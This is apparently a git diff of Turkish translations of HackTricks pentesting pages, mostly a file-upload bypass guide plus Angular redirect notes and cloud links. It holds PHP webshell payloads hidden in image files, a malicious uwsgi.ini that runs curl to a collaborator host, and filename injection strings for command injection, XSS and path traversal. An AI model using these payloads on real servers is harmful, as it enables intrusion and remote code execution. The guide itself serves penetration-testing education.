W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulaması vardır; bu da aşağıda belirtilen `javascript://` şeması saldırılarıyla açık yönlendirme ve DOM XSS'e neden olabilir.
|
||||
W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulaması vardır; bu da aşağıda belirtilen `javascript://` şeması saldırıları ile açık yönlendirme ve DOM XSS'e neden olabilir.
|
||||
|
||||
* `window.location.href`(ve `document.location.href`)
|
||||
|
||||
@ -483,7 +483,7 @@ window.location.assign("https://google.com/about")
|
||||
|
||||
Bu yöntem, mevcut kaynağı sağlanan URL'deki kaynakla değiştirir.
|
||||
|
||||
`assign()` yönteminden farkı, `window.location.replace()` kullandıktan sonra mevcut sayfanın oturum geçmişinde kaydedilmeyecek olmasıdır. Ancak, bu yöntemi kontrol ettiğimizde açık yönlendirme açığını istismar etmek de mümkündür.
|
||||
`assign()` yönteminden farkı, `window.location.replace()` kullandıktan sonra mevcut sayfanın oturum Geçmişi'nde kaydedilmeyecek olmasıdır. Ancak, bu yöntemi kontrol ettiğimizde açık yönlendirme açığını istismar etmek de mümkündür.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
`window.open()` yöntemi, bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir.
|
||||
`window.open()` yöntemi bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
|
||||
//app.component.html
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulamadık. `Location`, uygulamaların bir tarayıcının mevcut URL'siyle etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin:
|
||||
* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulamadık. `Location`, uygulamaların bir tarayıcının mevcut URL'si ile etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -583,16 +583,16 @@ this.router.navigateByUrl('URL')
|
||||
* [Angular Güvenliği: Kesin Kılavuz (Bölüm 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
|
||||
* [Angular Güvenliği: Kesin Kılavuz (Bölüm 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
|
||||
* [Angular Güvenliği: Kontrol Listesi](https://lsgeurope.com/post/angular-security-checklist)
|
||||
* [Workspace ve proje dosyası yapısı](https://angular.io/guide/file-structure)
|
||||
* [Workspace ve proje dosya yapısı](https://angular.io/guide/file-structure)
|
||||
* [Bileşenler ve şablonlara giriş](https://angular.io/guide/architecture-components)
|
||||
* [Kaynak haritası yapılandırması](https://angular.io/guide/workspace-config#source-map-configuration)
|
||||
* [Binding sözdizimi](https://angular.io/guide/binding-syntax)
|
||||
* [Angular Bağlamı: İç İçe Bileşen Ağaçları ve Yönlendirici Çıkışı için Kolay Veri Bağlama](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
|
||||
* [Angular Bağlamı: İç İçe Bileşen Ağaçları ve Router Outlet için Kolay Veri Bağlama](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
|
||||
* [Sanitizasyon ve güvenlik bağlamları](https://angular.io/guide/security#sanitization-and-security-contexts)
|
||||
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
|
||||
* [Angular ve AngularJS'de XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
|
||||
* [Angular Universal](https://angular.io/guide/universal)
|
||||
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
|
||||
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
|
||||
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
|
||||
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
|
||||
* [Renderer2 Örneği: Angular'da DOM Manipülasyonu - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
|
||||
|
@ -5,7 +5,7 @@
|
||||
Buckets'ı listeleme ve kötüye kullanma hakkında daha fazla bilgi edinmek istiyorsanız bu sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## Firebase Nedir
|
||||
|
||||
Firebase, esasen mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok diğer ilginç şey sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır.
|
||||
Firebase, esasen mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok diğer ilginç şeyler sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır.
|
||||
|
||||
Firebase hakkında daha fazla bilgi edinin:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -21,7 +21,7 @@ Diğer yararlı uzantılar:
|
||||
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
|
||||
3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** kullanmayı da deneyebilirsiniz_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Diğer yararlı uzantılar:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkarma** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleme gibi teknikler kullanarak. _Daha iyi bir yük oluşturmak için **önceki uzantıları** de kullanabilirsiniz._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -43,16 +43,16 @@ Diğer yararlı uzantılar:
|
||||
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **Geçerli uzantıdan önce yürütme uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı ile _**.php**_** olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, ancak** .php ile bitmek zorunda değildir):
|
||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır; _**.php**_ ile bitmese de kod çalıştırır):
|
||||
- _ör: file.php.png_
|
||||
7. **Windows'ta NTFS alternatif veri akışını (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adını kullanarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
|
||||
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adı kullanılarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
|
||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maksimum 255 bayt
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
|
||||
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin veriyor. Diyelim ki 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
|
||||
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Yükü oluşturun
|
||||
@ -63,15 +63,15 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir görüntünün** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` veya yükü doğrudan bir görüntüye de **yerleştirebilirsiniz**:\
|
||||
`\` veya yükü doğrudan bir resme de **ekleyebilirsiniz**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Eğer **sıkıştırma** görüntünüze ekleniyorsa, örneğin bazı standart PHP kütüphaneleri kullanılarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayabilir. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web sayfası ayrıca **görüntüyü yeniden boyutlandırıyor** olabilir, örneğin PHP-GD işlevlerini `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Bir görüntü yeniden boyutlandırmayı **geçen** bir yük oluşturmak için başka bir teknik, PHP-GD işlevi `thumbnailImage` kullanmaktır. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Diğer Kontrol Edilecek Hileler
|
||||
@ -85,16 +85,16 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
|
||||
5. **Windows**'ta adında **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”`. (Windows)
|
||||
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
|
||||
- Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **yüklemeyi** deneyin.
|
||||
- Ayrıca **çalıştırılabilir** (.exe) veya **.html** (daha az şüpheli) bir dosya yüklemeyi deneyin; bu dosya, kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**.
|
||||
|
||||
### Özel uzantı hileleri
|
||||
|
||||
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
|
||||
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
|
||||
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, birisi **bu uzantının çalıştırılmasına izin vermiş olabilir**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
@ -106,9 +106,9 @@ Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve
|
||||
|
||||
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür; bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
|
||||
Aşağıdaki örnekte, çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası düşünün:
|
||||
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün; çeşitli şemaları göstermektedir:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
|
||||
Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme moduna ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
|
||||
|
||||
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve bu da potansiyel istismar kapsamını daha da genişletir.
|
||||
|
||||
## **wget Dosya Yükleme/SSRF Hilesi**
|
||||
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirleyebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,27 +156,27 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğünüz, **HTTP sunucusunun farklı bir dosyaya yönlendirme yapmasıdır**, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
|
||||
## Araçlar
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentester'lara ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentester'lar ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
|
||||
## Dosya yüklemeden diğer güvenlik açıklarına
|
||||
|
||||
- **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
|
||||
- **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
|
||||
- **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin.
|
||||
- **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyon hileleri burada](../command-injection.md)).
|
||||
- **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyonu ipuçları burada](../command-injection.md)).
|
||||
- [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/index.html#xss-uploading-files-svg).
|
||||
- **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/index.html#xss-abusing-service-workers).
|
||||
- [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
|
||||
- [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg payload'ları** deneyin.
|
||||
- [**Açık Yönlendirme** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yükleri** deneyin.
|
||||
- [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
- Eğer **web sunucusuna bir URL'den resim yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeyi deneyebilirsiniz. Eğer bu **resim** bazı **kamusal** bir sitede **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- [**XXE ve CORS** bypass ile PDF-Adobe yükleme](pdf-upload-xxe-and-cors-bypass.md).
|
||||
